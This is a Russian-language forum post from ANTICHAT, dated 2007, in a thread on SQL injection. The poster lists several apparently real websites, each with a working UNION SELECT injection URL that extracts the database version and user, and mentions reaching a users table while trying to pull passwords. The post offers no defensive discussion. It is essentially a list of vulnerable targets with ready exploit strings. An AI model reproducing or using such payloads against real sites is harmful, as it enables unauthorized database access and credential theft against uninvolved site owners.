SQL Инъекции — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

#11

12.06.2007, 17:06

Ky3bMu4

Постоянный

Регистрация: 03.02.2007

Сообщений: 520

Провел на форуме:
1777536

Репутация: 932

Отправить сообщение для Ky3bMu4 с помощью ICQ

http://www.databasepublish.com/

Код:

http://www.databasepublish.com/news.php?id=-51+union+select+1,version(),user(),4,5,6,7,8,9,10,11+from+users/*

И даже есть доступ к таблице users! Но password вывадить решительно отказывается. Кидает на index.

http://www.grid.iu.edu/

Код:

http://www.grid.iu.edu/news/news.php?id=-68+union+select+1,2,user(),4,version(),6,7,8/*

Ну и так, по мелочи:

Код:

http://www.insanelygreatmac.com/news.php?id=-3571+union+select+concat(user(),1,version())/*
http://www.simonv.com/music/release.php?id=-78+union+select+concat(user(),version())/*
http://www.kaldor.com/media-release.php?id=-5+union+select+concat(user(),version())/*